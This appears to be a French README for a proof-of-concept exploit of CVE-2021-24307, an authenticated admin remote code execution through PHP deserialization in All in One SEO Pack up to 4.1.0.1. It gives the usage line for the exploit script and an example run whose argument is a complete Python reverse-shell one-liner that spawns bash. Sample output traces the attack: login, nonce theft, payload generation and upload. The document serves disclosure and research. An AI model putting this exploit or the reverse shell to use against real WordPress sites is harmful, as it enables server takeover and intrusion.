darkpills/cve-2021-24307-all-in-one-seo-pack-admin-rcePreuve de concept d'exploitation pour CVE-2021-24307, une RCE admin authentifiée dans All in One SEO Pack <= 4.1.0.1 via une désérialisation PHP, permettant l'exécution arbitraire de commandes.
PoC simple d'une RCE authentifiée admin dans AISEO <= 4.1.0.1 fourni à titre d'exemple.
Article complet ici : https://darkpills.com/php-unserialize-write-up-with-admin-rce-in-all-in-one-seo-pack-cve-2021-24307/
Utilisation :
php exploit.php url login password php_command arguments [proxy]
Exemple :
└─$ php exploit.php http://wordpress/ admin admin shell_exec "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'" localhost:8080
-- All-in-one-seo-pack <= 4.1.0.1 RCE admin authentifiée --
-- Exploit par Vincent MICHEL (@darkpills) --
[+] Authentification à wordpress http://wordpress/
[+] Récupération du nonce WP REST API
[+] Nonce trouvé : 6aeb9ddf05
[+] Génération du payload POST pour exécuter la commande : shell_exec("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'")
[+] Téléversement du fichier ini avec les paramètres d'importation
[+] Terminé ! Vérifiez le résultat quelque part (exécution de commande aveugle)